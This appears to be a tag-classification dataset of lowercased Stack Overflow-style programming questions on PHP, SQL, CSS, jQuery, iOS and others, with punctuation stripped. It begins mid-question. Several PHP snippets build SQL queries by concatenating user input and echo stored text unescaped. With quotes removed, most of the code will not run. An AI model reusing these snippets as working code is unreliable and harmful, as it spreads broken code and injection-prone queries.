&gt;             &lt;button class= show_form_data button &gt;opret info&lt;/button&gt;              &lt;!-- opret data element 1 --&gt;             &lt;form action= &lt; =$_server[ php_self ] &gt;  method= post  class= form_data_element &gt;                 &lt;input type= text  name= data_one  placeholder= data 1  class= data_input /&gt;                 &lt;input type= submit  name= submit_data_one  class= submit_data button  value= opret data 1  /&gt;                   &lt;/form&gt;              &lt;!-- opret data element 2 --&gt;             &lt;form action= &lt; =$_server[ php_self ] &gt;  method= post  class= form_data_element &gt;                 &lt;input type= text  name= data_two  placeholder= data 2  class= data_input /&gt;                 &lt;input type= submit  name= submit_data_two  class= submit_data button  value= opret data 2  /&gt;                   &lt;/form&gt;              &lt;!-- opret data element 3 --&gt;             &lt;form action= &lt; =$_server[ php_self ] &gt;  method= post  class= form_data_element &gt;                 &lt;input type= text  name= data_three  placeholder= data 3  class= data_input /&gt;                 &lt;input type= submit  name= submit_data_three  class= submit_data button  value= opret data 3  /&gt;                     &lt;/form&gt;              &lt;button class= cancel_data button &gt;&lt;/button&gt;         &lt;/div&gt;     &lt;/div&gt;  &lt;!--    end of data_elements_upload_section --&gt;  &lt;/div&gt; &lt;!-- end of wrap_om_artisten_top --&gt;        &lt;!-- vis beskrivelse --&gt;     &lt;div class= wrap_om_artisten_bottom_broedtekst &gt;             &lt; php             $conn = new mysqli(db_host  db_user  db_pass  db_name);             $query =  select beskrivelse from artister where brugernavn = \   . $brugernavn .  \   ;             $result = mysqli_query($conn $query) or die (mysqli_error() );              while($row = mysqli_fetch_array($result)) {                 $beskrivelse = $row[ beskrivelse ];                 echo $beskrivelse;             }          &gt;     &lt;/div&gt; &lt;!-- end of wrap_om_artisten_bottom_broedtekst --&gt;          &lt;!-- opret beskrivelse --&gt;     &lt;form action= &lt; =$_server[ php_self ] &gt;  method= post  class= form_beskrivelse &gt;         &lt;label&gt;beskrivelse:&lt;/label&gt;         &lt;textarea id= editor1   name= beskrivelse  placeholder= beskrivelse her                      value= &lt; php echo isset($_post[ beskrivelse ])   $_post[ beskrivelse ] :   ; // upload text til mysql  &gt; &gt;             &lt; php echo $beskrivelse; // vis og edit eksisterende mysql-text  &gt;         &lt;/textarea&gt;         &lt;script&gt;             // vis ckeditoren             ckeditor.replace(  editor1  );         &lt;/script&gt;         &lt;br /&gt;          &lt;input type= submit  name= submit_beskrivelse  value= opret beskrivelse  /&gt;          &lt;/form&gt;       &lt;!-- art uploads --&gt;     &lt;div class= wrap_uploads  &gt;     &lt; php         include ( links_art_uploads.php );      &gt;     &lt;/div&gt;      &lt;div class= upload_section &gt;             &lt;form id= upload  action=   enctype= multipart/form-data  method= post &gt;             &lt;p&gt;                 &lt;label&gt;upload et billede:&lt;/label&gt;                 &lt;!-- type file finder img location - id + ccs-style + button med js er her for at omg  browser-default texten:  ingen fil valgt.  --&gt;                 &lt;input type= file  name= img_art_upload  id= img_art_upload  style= display:none;                   accept= image/*   onchange= showmyimage(this) /&gt;  &lt;!-- til preview - se script function showmyimage og body &lt;input type= file ... --&gt;                 &lt;button type= button  class= input_style button  onclick= document.getelementbyid( img_art_upload ).click(); &gt;vælg billede&lt;/button&gt;             &lt;/p&gt;              &lt;p&gt;                 &lt;label&gt;skift navn på billede&lt;/label&gt;                 &lt;input type= text  name= img_nyt_navn  maxlength= 26  /&gt;              &lt;/p&gt;              &lt;p&gt;                 &lt;label&gt;press to...&lt;/label&gt;                 &lt;input id= submit  type= submit  name= submit_art_upload  class= button  value= upload &gt;              &lt;/p&gt;             &lt;/form&gt;     &lt;/div&gt;      &lt;!--    &lt;div class= preview_wrap style= position: absolute; bottom: 0; border: 2px solid red; &gt;         &lt;img id= preview  class= preview_size /&gt; &lt;!-- til preview - se script og &lt;input type= file ...  --&gt;     &lt;/div&gt;--&gt;  &lt;!-- vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv --&gt;  &lt;script src= http://code.jquery.com/jquery-1.11.3.min.js &gt;&lt;/script&gt; &lt;script&gt; $(document).ready(function(){         // profil foto - hent og vis fra root      $( figure.profile_image ).load( links_to_uploads_template.php );      // profil foto - toggle buttons     $( label.choose_profile_img ).click(function() {         $(this).hide();          $( input.submit_img_upload ).fadein(400);         $( body ).css({ background  :  black  });     });       // til upload af sata     $( form.form_data_element ).hide();      $( button.show_form_data ).click(function() {         $(this).hide();         $( form.form_data_element:nth-of-type(1) ).fadein(400);          $( form.form_data_element:nth-of-type(2) ).fadein(400);          $( form.form_data_element:nth-of-type(3) ).fadein(400);      });      $( form.form_data_element ).click(function() {         $( form.form_data_element ).not(this).hide();         $(this).css({ float  :  left }); // kun nødvendig pga fomm 3 som floater right - hvilket palcerer button.cancel_data yderst til venstre          $(this).css({ width  :  calc(100% - 30px) }); // bredde form minus bredden af button.cancel_data 30px         $(this).find( input.data_input ).css({ float  :  left    width  :  calc(100% - 120px) }); // bredde minus input.submit_data         $(this).find( input.submit_data ).fadein(400);         $( button.cancel_data ).fadein(400);     });      $( button.cancel_data ).click(function() {         $( button.show_form_data ).fadein(400);         $(this).hide();         $( form.form_data_element ).removeattr( style ).hide();         $( input.data_input ).removeattr( style );         $( input.submit_data ).removeattr( style );     });   var half_height = $(window).height() / 2;   $( button.next_image ).click(function() {     var viewport_height = $(window).height(); // også defineret i custom_fullscreen.js     var next_image = $(this).next( .window_element ).outerheight(true); // højde + margin + padding      $( html  body ).animate({ //      scrolltop: $( .top_img ).offset().top - ( $(window).height() - $( .top_img ).outerheight(true) ) / 2         scrolltop: $( .top_img ).offset().top - ( viewport_height - next_image ) / 2     }  1000   swing ); });  //var position = $( .window_element ).offset(); /*it gets the position of the div //                                      fixed  relative to the document*/ //$( .window_element ).html(position.top);    }); // end of doc ready &lt;/script&gt;     &lt;/article&gt; &lt;!-- end of article class= text  --&gt;  ; // end og html   fwrite($file  $template_content);  fclose($file); </code></pre>   after writing the external file the html must be like this:   <pre><code>$sql_data_element =   update artister set data_one= $data_one  where username= new user   ; </code></pre>   <em>what this is about:</em> after submitting username  password to mysql the  index.php  writes a new file from <code>$template_content</code> and redirects to this. based on written content of new file user has more options.,php
taking data from one table view and to display it in another tableview  hi i have data in my table view and i just want to display the same data in the next table view   that means (while clicking a button in first view navigating to another view and display the same data in seconds view s table).,iphone
need help in getting results from three different tables  i have these three tables:    products:   <pre><code>+----+--------------+ | id | product_name |  +----+--------------+ | 12 | a            |     | 13 | b            | | 14 | c            | | 15 | d            |  | 16 | e            | | 17 | f            | | 18 | g            | | 19 | h            |  | 20 | i            | | 21 | j            | +----+--------------+ </code></pre>   connections:   <pre><code>+----+------------+----------------------+ | id | product_id | connected_product_id | +----+------------+----------------------+ | 1  | 21         | 18                   |  | 2  | 21         | 19                   |  | 3  | 21         | 20                   |  +----+------------+----------------------+ </code></pre>   proposals:   <pre><code>+----+-------------+-------------+ | id | proposer_id | receiver_id | +----+-------------+-------------+ | 2  | 21          | 16          |  | 3  | 21          | 17          |  | 4  | 21          | 18          |  +----+-------------+-------------+ </code></pre>   and i would like  for some product x  to get all the products  that are not connected to x  and also there are no proposals between them (x and those products  are not proposers neither receivers to each other).    i am trying this humble statement:   <pre><code>select *  from products  where id != x_id  and id not in (         select connected_product_id          from connections          where product_id = x_id ) </code></pre>   but that gets me all the products that are not connected to x.    i need that final step where i want to do something like this:   <pre><code>select *  from products  where id != x_id  and id not in (          select product_id         from proposals         where product_id != x_id         and receiver_id not in (             select connected_product_id              from connections              where product_id = x_id         ) ) </code></pre>   but for the above  and let s say product x is id=21  the current output is:   <blockquote>    all products other than 21  </blockquote>   and i expected output to be:    star from products where id in <code>12  13  14  15</code> (which are not connected to x=21  and there are no proposals between them and x=21)   <pre><code> +----+--------------+  | id | product_name |   +----+--------------+  | 12 | a            |      | 13 | b            |  | 14 | c            |  | 15 | d            |   +----+--------------+ </code></pre>   i use javascript so the result would be an array of objects {id  product_name}    any help,mysql
.net memory profiler wanted  i need a good memory profiler for .net  it would be ideal if it shown types of objects currently loaded in memory. usually i use dottrace but it does not seem to show object types.,.net
parse error: syntax error  unexpected      expecting identifier (t_string) or variable (t_variable) or number (t_num_string) in c:... on line 22  i want to update a row in a table for my project  i m copying a syntax i saw somewhere else here however  i think my problem comes when i try updating where applicantid is equal to $_session[ id ]. i get this error    <pre><code>parse error: syntax error  unexpected      expecting identifier (t_string) or variable (t_variable) or number (t_num_string) in c:\xampp\...\insertpdata.php on line 22 </code></pre>   here is the php along side the sql:   <pre><code>&lt; php         include_once dbconnect.php ;         session_start();          function insert()         {             $name=$_post[ name ];             $relation=$_post[ relation ];             $email=$_post[ email ];             $address=$_post[ address ];             $postcode=$_post[ postcode ];             $mobile_number=$_post[ mobile_number ];             $home_number=$_post[ home_number ];             $insert= update applicants              set parentname= $name               relationtoapplicant= $relation               parentemail= $email                parentaddress= $address                parentpostcode= $postcode                parentmobile= $mobile_number                parenthome= $home_number                where applicantid=$_session[ id ]  ; #this is line 22              $data=mysql_query($insert) or die(mysql_error());             if($data)             {                 echo  parents/gauridan details hav been entered ;             }             else print  error ;         }          insert()          &gt; </code></pre>   i ve already searched for a solution to this but haven t found something where the user is using a session thing. thank you.,sql
oracle substr error for long string  i am using substr method in sql query but due to long string it is giving below error:   <blockquote>    error:   ora-01704: string literal too long.        sql:    select * from table where   tn=substr( ....long string....  1 12)  </blockquote>   please suggest any alternate solution to allow substring on long string in oracle sql query.    thanks    praveen,sql
group by clause  do i have to call all rows what i using in select   do i need to put all the column names in group by which i have select put in select  for example in this simple query :   <pre><code>select     customerid      companyname      contactname      contacttitle      city      country from     customers group by     country      companyname      contactname      contacttitle      city      country      customerid </code></pre>   i have to allways call same amount group by what i used in select,sql
parsing data with pattern  i m parsing some data with the pattern as follows:   <pre><code>taga:     titlea     dataa1     dataa2     dataa3     ...  tagb:     titleb     datab1     datab2     datab3     ...  tagc:     titlec     datac1     datac2     ... ... </code></pre>   these tags are stored in a list <code>list_of_tags</code>  if i iterate through the list  i can get all the tags; also  if iterating through the tags  i can get the title and the data associated with the title.    the tags in my data are pretty much something like <code>&lt;div&gt;</code>  so they are not useful to me; what i m trying to do is to construct a dictionary which uses titles as keys and datas as a list of values.    the constructed dictionary would look like:   <pre><code>{     titlea: [dataa1  dataa2  dataa3...]      titleb: [datab1  datab2  datab3...]      ... } </code></pre>   notice every tag only contains <strong>one title</strong> and <strong>some datas</strong>  and <strong>title always comes before data</strong>.    so here are my working codes:    method 1:   <pre><code>result = {} for tag in list_of_tags:    list_of_values = []    for idx  elem in enumerate(tag):        if not idx:            key = elem        else:            construct_list_of_values()    update_the_dictionary() </code></pre>   actually  method 1 works fine and gives me my desired result; however  if i put that piece of codes in pycharm  it warns me that  local variable  key  might be referenced before assignment  at the last line. hence  i try another approach:    method 2:   <pre><code>result = {tag[0]: tag[1:] for tag in list_of_tags} </code></pre>   method 2 works fine if tags are lists  but i also want the code to work normally if tags are generators (<code> generator  object is not subscriptable</code> will occur with method 2)    in order to work with generators  i come up with:    method 3:   <pre><code>key_val_list = [(next(tag)  list(tag)) for tag in list_of_tags] result = dict(key_val_list) </code></pre>   method 3 also works; but i cannot write this in dictionary comprehension (<code>{next(tag): list(tag) for tag in list_of_tags}</code> would give <code>stopiteration</code> exception because <code>list(tag)</code> will be evaluated first)    so  my question is  is there an elegant way for dealing with this pattern which could work no matter tags are lists or generators  (method 1 seems to work for both  but i don t know if i should ignore the warning pycharms gives; the other two methods looks more concise  but one can only work on lists while the other can only work on generators)    sorry for the long question  thanks for the patience!,python
ios - displaying variablly formatted content  it seems like the  easiest  way to display richly formatted dynamic content is to load a uiwebview.  the use case is a master/detail style application where all the detail pages may have varying format structure.  i ve looked at nsattributedstring which it seems like you can load html into  but it s only available in ios 6 and i need 5.1 support.    are there any other ways to accomplish loading variably formatted content  i m shying away from the easy route of loading a uiwebview.  i don t want to end up in a situation where the detail page in the app may need to trigger some native code and hit a roadblock.    thanks for any suggestions.,ios
getting  not all variablesbound error   i am getting error while executing cmd.executenonquery() what i am doing wrong here   <pre><code>            oraclecommand cmd = con.createcommand();              cmd.bindbyname = true;             try             {                  if (unsetdefaultviewid != 0)                 {                     cmd.commandtext =  update wi_viewuser set default_flag =                                       +   case                                       +      when sec_usr_id = :p_userid and view_id = :p_unsetdefviewid then  n                                        +      when sec_usr_id = :p_userid and view_id = :p_setdefviewid  then  y                                        +      else default_flag                                       +   end  ;                      cmd.parameters.add(new oracleparameter( p_setdefviewid  oracledbtype.int32)).value =  unsetdefaultviewid;                  }                 else                 {                     cmd.commandtext =  update wi_viewuser set default_flag  =  y  where view_id = :p_setdefviewid and  sec_usr_id = :p_userid ;                 }                  cmd.parameters.add(new oracleparameter( p_userid   oracledbtype.int32)).value = userid;                 cmd.parameters.add(new oracleparameter( p_setdefviewid  oracledbtype.int32)).value =  setdefaultviewid;  //getting error here                 cmd.executenonquery();                  cmd.commandtext =  update wi_view set created_date = sysdate where view_id = :p_setdefviewid  ;                 cmd.executenonquery();                  transaction.commit(); </code></pre>,.net
css gradient fits only viewport  in the following page  the css gradient is correctly rendert  if the viewport is higher than <code>#container</code> (600px). but if the viewport is only 400px  then the gradient is missing at the bottom 200px (outside the viewport).     how can i fix that    <pre><code>&lt;!doctype html&gt; &lt;html lang= de &gt; &lt;head&gt;   &lt;meta charset= utf-8 &gt;   &lt;title&gt;test-site for css gradient&lt;/title&gt;   &lt;style type= text/css &gt;     body {     margin: 0;     }      html  body  #body-wrapper {         height: 100%     }      #body-wrapper {         background-repeat: no-repeat;         background-image: -webkit-gradient(             linear              left top  left bottom              from(rgba(131 20 20 1))              to(rgba(243 172 149 1))              color-stop(0.2  rgba(159 19 24 1))              color-stop(0.7  rgba(222 0 30 1))         );         background-image:          -webkit-linear-gradient(             top              rgba(131 20 20 1)              rgba(159 19 24 1) 20%              rgba(222 0 30 1) 70%              rgba(243 172 149 1)         );         background-image:          -moz-linear-gradient(             top              rgba(131 20 20 1)              rgba(159 19 24 1) 20%              rgba(222 0 30 1) 70%              rgba(243 172 149 1)         );         background-image:          -o-linear-gradient(             top              rgba(131 20 20 1)              rgba(159 19 24 1) 20%              rgba(222 0 30 1) 70%              rgba(243 172 149 1)         );         background-image:          linear-gradient(             top              rgba(131 20 20 1)              rgba(159 19 24 1) 20%              rgba(222 0 30 1) 70%              rgba(243 172 149 1)         );     }      #container {         max-width: 900px;         margin: 0 auto;         background: #fff;         border: 1px solid black;         height: 600px;     }   &lt;/style&gt; &lt;/head&gt;  &lt;body&gt;    &lt;div id= body-wrapper &gt;     &lt;div id= container &gt;      &lt;/div&gt;   &lt;/div&gt;  &lt;/webl:context&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   edit: here you can see it online: <a href= http://betschmann.ch/test.html  rel= nofollow >test-site</a>,css
is there a way to have one array that holds other arrays in c   i have 4 int arrays. they all have the same number of elements. something like this:   <pre><code>int  ar1[] = {1 2 3 4}; int  ar2[] = {10 12 13 14}; int  ar3[] = {8 9 15 16}; int  ar4[] = {17 18 19 20}; int  big[][] ={ar1 ar2 ar3 ar4};  // i know this is messed up but here is where the question lies </code></pre>   is there a way so that when i run a for loop:   <pre><code>int i; for(i =0; i&lt;4; i++){     int x;     for(x = 0; x&lt;4; x++){        printf(big[i][x]); // something like this        } } </code></pre>   so that when this is executed  it prints out:    array 1 : 1 2 3 4 array 2 : 10 12 13 14 etc.....    thanks.,c
invalid argument supplied for foreach()  severity: warning php and invalid json  i spend almost 8 hours try to solve this warning. i try to write a site with codeigniter and php but i have got a problem with php. i m sure that it s so simple and can t be wrong. but i don t know bugs from  just a newbie of codeigniter and php.    <strong>controler </strong>   <pre><code>public function fetchstudentdata($studentid = null) {     if($studentid) {         $result = $this-&gt;model_student1-&gt;fetchstudentdata($studentid);     } else {         $studentdata = $this-&gt;model_student1-&gt;fetchstudentdata();         $result = array( data  =&gt; array());          foreach ($studentdata as $key =&gt; $value) {              $button =  &lt;!-- single button --&gt;                 &lt;div class= btn-group &gt;                   &lt;button type= button  class= btn btn-default dropdown-toggle  data-toggle= dropdown  aria-haspopup= true  aria-expanded= false &gt;                     action &lt;span class= caret &gt;&lt;/span&gt;                   &lt;/button&gt;                   &lt;ul class= dropdown-menu &gt;                     &lt;li&gt;&lt;a type= button  data-toggle= modal  data-target= #updatestudentmodal  onclick= editstudent( .$value[ student_id ]. ) &gt; &lt;i class= glyphicon glyphicon-edit &gt;&lt;/i&gt; edit&lt;/a&gt;&lt;/li&gt;                     &lt;li&gt;&lt;a type= button  data-toggle= modal  data-target= #removestudentmodal  onclick= removestudent( .$value[ student_id ]. ) &gt; &lt;i class= glyphicon glyphicon-trash &gt;&lt;/i&gt; remove&lt;/a&gt;&lt;/li&gt;                   &lt;/ul&gt;                 &lt;/div&gt; ; $photo =    &lt;img src= ../ .$value[ image ].   alt= photo  class= img-circle candidate-photo /&gt; ;              $result[ data ][$key] = array(                 $photo                  $value[ name ] .     . $value[ lname ]                  $value[ age ]                  $value[ contact ]                  $value[ email ]                  $button             );         } // /foreach       }     }echo json_encode($result); } </code></pre>   <strong>model</strong>   <pre><code>public function fetchstudentdata($studentid = null) {     if($studentid) {         $sql =  select * from student where student_id =   ;         $query = $this-&gt;db-&gt;query($sql  array($studentid));         return $query-&gt;row_array();     } } </code></pre>,php
php error message is comming like undefined index: radiogroup1 in c:\wamp\www\template\filedisposalresults.php on line 4  im selecting a radio button from radio group..but when i click the button it will get a error like this undefined index: radiogroup1 in c:\wamp\www\template\filedisposalresults.php on line 3   <pre><code>if(isset($_post[ h1 ])  &amp;&amp;  $_post[ h1 ]== h1  ) { //posting from a hiddne field     $selected_radio=  ;     $selected_radio = $_post[ radiogroup1 ];         if ($selected_radio ==  radiodelete )      {         if (isset($_post[ checkbox ]))         {             $check_ids = $_post[ checkbox ];             if (is_array($check_ids) &amp;&amp; count($check_ids) &gt; 0)             {                 // $sql= delete from retained_file_mst  where file_serial_id  in( .implode(     $check_ids). ) ;                 // mysql_query($sql $conn);                 echo  yesssssssssssssssssssssssssssssss ;             }         }     } } </code></pre>,php
can t get option value when using angularjs  i have the following angularjs code:   <pre><code>    angular.module( loggedinapp   [ ui.bootstrap ]);      var myapp = angular.module( loggedinapp   [ ui.bootstrap ])     myapp.controller( addparentcontroller   function ($scope  addparentservice) {         var vm = this;          $scope.addparentservice = addparentservice;         $scope.setname = function (val) {             addparentservice.inputparentname = val;         }          $scope.setemail = function (val) {             addparentservice.inputparentemail = val;         }          $scope.setcarrier = function (val) {             addparentservice.inputparentcarrier = val;         }         $scope.setbirthday = function (val) {             addparentservice.inputparentbirthday = val;         }     });  myapp.service( addparentservice   function () {     var vm = this;      vm.eventobjs = [];      vm.parent = [];      vm.addparent = function () {         alert(vm.inputparentname);         alert(vm.inputparentbirthday);         alert(vm.inputparentemail);         alert(vm.inputparentcellphone);         alert(vm.inputparentcarrier);           vm.parent.push({             name: vm.inputparentname  dob: vm.inputparentbirthday              cell: vm.inputparentcellphone  carrier: vm.inputparentcarrier              email: vm.inputparentemail  active: true  personid: vm.parent.length + 1         });          vm.inputparentname =   ;         vm.inputparentdob =   ;         vm.inputparentcellphone =   ;         vm.inputparentcarrier = 0;         vm.inputparentemail =   ;         vm.active = true;     };      vm.buildeventobject = function (titlevalue  startvalue  personid  choreidvalue) {         vm.eventobjs.push({ title: titlevalue  start: startvalue  familymemberpersonid: personid  choreid: choreidvalue });         return vm.eventobjs;     }     vm.returneventobject = function () {         return vm.eventobjs;     } }); </code></pre>   my html looks like this:   <pre><code>            &lt;div class= row clearfix  ng-controller= addparentcontroller as parent &gt;                 &lt;div class= col-md-6 column &gt;                     &lt;form role= form  ng-submit= addparentservice.addparent() &gt;                         &lt;div class= form-group &gt;                             &lt;label for= inputparentname &gt;name&lt;/label&gt;&lt;input class= form-control  id= inputparentname  value=   type= text  ng-model= addparentservice.inputparentname  /&gt;                         &lt;/div&gt;                         &lt;div class= form-group &gt;                             &lt;label for= inputparentbirthday &gt;birthday&lt;/label&gt;&lt;input class= form-control  id= inputparentbirthday  value=   type= text  ng-model= addparentservice.inputparentbirthday  /&gt;                         &lt;/div&gt;                         &lt;div class= form-group &gt;                             &lt;label for= inputparentcellphone &gt;cell phone&lt;/label&gt;&lt;input class= form-control  id= inputparentcellphone  value=   type= text  ng-model= addparentservice.inputparentcellphone  /&gt;                         &lt;/div&gt;                         &lt;div class= form-group &gt;                             &lt;label for= inputparentcarrier &gt;phone carrier&lt;/label&gt;&lt;br /&gt;                             &lt;select class= form-control  id= inputparentcarrier &gt;                                 &lt;option&gt;att&lt;/option&gt;                                 &lt;option&gt;cricket&lt;/option&gt;                                 &lt;option&gt;sprint&lt;/option&gt;                                 &lt;option&gt;t-mobile&lt;/option&gt;                                 &lt;option&gt;verizon&lt;/option&gt;                             &lt;/select&gt;                         &lt;/div&gt;                          &lt;div class= form-group &gt;                             &lt;label for= inputparentemail &gt;e-mail address&lt;/label&gt;&lt;input class= form-control  id= inputparentemail  value=   type= email  ng-model= addparentservice.inputparentemail  /&gt;                         &lt;/div&gt;                         &lt;button class= btn btn-default  type= submit &gt;submit&lt;/button&gt;                     &lt;/form&gt;                 &lt;/div&gt;                 &lt;br /&gt;&lt;br /&gt;                 &lt;div class= col-md-6 column &gt;                     &lt;div class= panel panel-default &gt;                         &lt;div class= panel-heading &gt;                             &lt;h3 class= panel-title &gt;                                 parent:                             &lt;/h3&gt;                         &lt;/div&gt;                         &lt;div class= panel-body &gt;                             &lt;table class= table table-striped &gt;                                 &lt;tr&gt;                                     &lt;th&gt;name&lt;/th&gt;                                     &lt;th&gt;cell #&lt;/th&gt;                                     &lt;th&gt;e-mail&lt;/th&gt;                                     &lt;th&gt;dob&lt;/th&gt;                                 &lt;/tr&gt;                                 &lt;tr ng-repeat= parent in addparentservice.parent &gt;                                     &lt;td&gt;{{parent.name}}&lt;/td&gt;                                     &lt;td&gt;{{parent.cell}}&lt;/td&gt;                                     &lt;td&gt;{{parent.email}}&lt;/td&gt;                                     &lt;td&gt;{{parent.dob}}&lt;/td&gt;                                 &lt;/tr&gt;                             &lt;/table&gt;                         &lt;/div&gt;                         &lt;div class= panel-footer &gt;                             &lt;button class= btn btn-default  type= submit &gt;save your family!&lt;/button&gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt; </code></pre>   my issue is when i click the submit button i am calling my service that alerts out all the different values i entered.  everything works except the <strong>inputparentcarrier</strong> value.  when it alerts out it says  <strong>undefined</strong>     seems like this should be an easy fix  but right now i can t see what is wrong.,angularjs
jquery unbind or remove fadein fadeout   i m trying to get a div to fade in or out when the window has been resized to a certain size (below 960px width)  and the user clicks on a button that reveals another div so that they don t overlap at low screen sizes. this is working:    <pre><code>jquery(window).resize(function() {     if ( jquery(window).width() &lt; 960) {         jquery( .main ).animate({ top : 22% });          jquery( #tblcontents ).toggle(function() {             jquery( .main ).fadeout(1000);         }  function(){              jquery( .main ).fadein(1000);             jquery( .main ).animate({ top : 22% });         });     } });  jquery(window).resize(function() {     if (jquery(window).width() &gt; 960) {         jquery( .main ).stop(true  true);     } }); </code></pre>   but my problem arises when the user then re sizes the window to above 960px the fadein and fadeout remains active  how do i solve this  i have tried the above example along with this:   <pre><code>jquery(window).resize(function() {     if ( jquery(window).width() &lt; 960) {         jquery( .main ).animate({ top : 22% });          jquery( #tblcontents ).toggle(function(){             jquery( .main ).fadeout(1000);         }  function(){              jquery( .main ).fadein(1000);             jquery( .main ).animate({ top : 22% });         });     } else {         jquery( .main ).stop(true  true);     }  }); </code></pre>   and this:    <pre><code>jquery(window).resize(function() {     if ( jquery(window).width() &lt; 960) {         jquery( .main ).animate({ top : 22% });          jquery( #tblcontents ).toggle(function(){             jquery( .main ).fadeout(1000);         }  function(){              jquery( .main ).fadein(1000);             jquery( .main ).animate({ top : 22% });         });     } else {         jquery( .main ).finish();     } }); </code></pre>   along with this:    <pre><code>jquery(window).resize(function() {     if (jquery(window).width() &lt; 960) {         jquery( .main ).animate({ top : 22% });          jquery( #tblcontents ).toggle(function(){             jquery( .main ).fadeout(1000);         }  function(){              jquery( .main ).fadein(1000);             jquery( .main ).animate({ top : 22% });         });     } else {         jquery( .main ).unbind();     } }); </code></pre>   nothing seems to work  thank you for taking the time.    chris,jquery
need to add a new option button when the  add heading  clicked and it should get updated in the existing options  i need to add a new option button when the  add heading  clicked and it should get updated in the existing options. when i look for options on the select  it should be there  how i can achieve this in javascript. any idea     new update: hi  here i ve changed my code  now  when i press the  add chapter  button  then  it should add the user entered chapter head to both chapter s select  there are two chapter places  so  whenever i click the  add chapter  button  then the entered value should be updated in two places[both places]. but  when i press the add chapter  button  after entering the value on the prompt box  it showing error. i want to make this happen. any idea  pls    <pre><code>    &lt;html&gt;     &lt;head&gt;&lt;title&gt;&lt;/title&gt;     &lt;/head&gt;     &lt;body&gt;     &lt;form&gt; &lt;div id= mainsec1  style= border: 1pt solid; width: 40%;padding: 10pt &gt; &lt;div id= sec1 &gt; &lt;span class= head1 &gt;chapter&lt;/span&gt;&amp;#x00a0;&amp;#x2009;&lt;select name= startype  id= starselect &gt; &lt;option selected= selected &gt; &lt;/option&gt; &lt;option value= aquila &gt;aquila&lt;/option&gt; &lt;option value= centaurus &gt;centaurus&lt;/option&gt; &lt;option value= canis major &gt;canis major&lt;/option&gt; &lt;/select&gt; &lt;span class= head1 &gt;&lt;input type= button  class= buttonit  value= delete  onclick= delerow(); /&gt;&lt;/span&gt; &lt;/div&gt; &lt;div id= sec2 &gt; &lt;span class= head1 &gt;heading&lt;/span&gt;&amp;#x00a0;&lt;select name= startypehead  id= starheading &gt; &lt;option selected= selected &gt; &lt;/option&gt; &lt;option value= aquila &gt;aquila heading&lt;/option&gt; &lt;option value= centaurus &gt;centaurus heading&lt;/option&gt; &lt;option value= canis major &gt;canis major heading&lt;/option&gt; &lt;/select&gt; &lt;span class= head1 &gt;&lt;input type= button  class= buttonit  value= delete  onclick= delerowsub(); /&gt;&lt;/span&gt; &lt;/div&gt; &lt;input type= button  class= buttonit  value= add heading  onclick= addhead(); /&gt;&lt;/div&gt; &lt;div id= mainsec2  style= margin-top: 10pt;border: 1pt solid; width: 40%;padding: 10pt &gt; &lt;div id= sec3 &gt; &lt;span class= head1 &gt;chapter&lt;/span&gt;&amp;#x00a0;&lt;select name= startypechap  id= starselectchap &gt; &lt;option selected= selected &gt; &lt;/option&gt; &lt;option value= aquila &gt;aquila chapter&lt;/option&gt; &lt;option value= centaurus &gt;centaurus chapter&lt;/option&gt; &lt;option value= canis major &gt;canis major  chapter&lt;/option&gt; &lt;/select&gt; &lt;span class= head1 &gt;&lt;input type= button  class= buttonit  value= delete  onclick= delerow(); /&gt;&lt;/span&gt; &lt;/div&gt; &lt;/div&gt;&lt;input type= button  class= buttonitonsub  value= add chapter  onclick= addchap(); /&gt; &lt;/form&gt;     &lt;script language= javascript &gt;     var glovar;     document.getelementbyid( starselect ).onchange = function(){     var list = document.forms[0].startype;     glovar = list.selectedindex;     //alert(list.selectedindex);     var sublist = document.forms[0].startypehead;     sublist.selectedindex = glovar;     }     function addhead(){     var inpval=prompt( input your heading    heading );     var opele =document.createelement( option );     opele.setattribute( value  inpval);     var texele = document.createtextnode(inpval);     opele.appendchild(texele);     //document.body.appendchild(opele);     }  function addchap(){   var inpval=prompt( input your chapter    chapter );   var select = document.getelementbyid( starselectchap );    var select1 = document.getelementbyid( starselect );   var opele =document.createelement( option );   opele.value = inpval;   opele.text = inpval;   select.add(opele); //  alert(select1.add(opele)); }     &lt;/script&gt;     &lt;/body&gt;     &lt;/html&gt; </code></pre>,javascript
ioerror: [errno 13] permission denied:  /usr/local/lib/python2.7/dist-packages/fibo.py   this error comes when i try installing python modules.   <pre><code>ioerror: [errno 13] permission denied:  /usr/local/lib/python2.7/dist-packages/fibo.py  </code></pre>,python
gridview double-click event in asp.net  i am using a gridview control in asp.net web form to display the data records. i want to handle the double click event of the row of the gridview. also i should get information which row is clicked.,asp.net
how to position background image inside table cell with padding  in application i have a few columns that can contain inline-editable values. for these cells  i want to display a pencil icon:   <pre><code>td.editable {     padding-right: 20px;     background-image: url(pencil.png);     background-repeat: no-repeat;     background-position: center right; } </code></pre>   this css is almost fine except... i would like to have a 2px space between cells border and image. is is possible to achieve it with background image and css  if not  how can i achieve it     thanks,css
can you search for posts / news / links  etc... a user likes in facebook using koala gem for rails   i m testing out the koala gem for rails and facebook api. i m trying to figure out if there is a way of searching and displaying all of  a  user s liked posts  news  links  etc.. using koala gem.     anyone know where to possibly start  i was thinking <code>@graph.search( me    likes )</code>,ruby-on-rails
how to set input box max length propert  i want to add an input box with <code>max-length</code> property  but when i set its max length property to 500 and enter maximum text in input box  it s not taking maximum text. its only working when i enter a limit text in input box.,asp.net
iphone: an ui question  i want to implement an ui which should look like speedometer. is there a way to implement like that  some of apps i seen that they have implemented. for ex. an app called  taxcaster  implemented it. could someone help me how can i achieve it     thank you in advance.,iphone
write into text file located in dropbox using javascript  i have been struggling for two days to write into a text file using javascript.  the text file is located on the dropbox.  my code:    <pre class= lang-js prettyprint-override ><code>try {     var txtfile =  https://dl.dropbox.com/s/...../myfile.txt ;     var file = new file(txtfile);     var str =  my string of text ;      file.open( w ); // open file with write access     file.write(str);     file.close(); } catch(ex) {     alert(err.message); } </code></pre>   but does not write anything into the text file. any idea how can i solve this problem  or is it a deadend,javascript
"how correctly check if input is not equal zero  i have simple code  in input user inputs number and it must print the numbers until the input is not equal to zero.    and the problem is when i submit value  page stops responding    here is how my code looks like:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code> window.onload = function() {
     
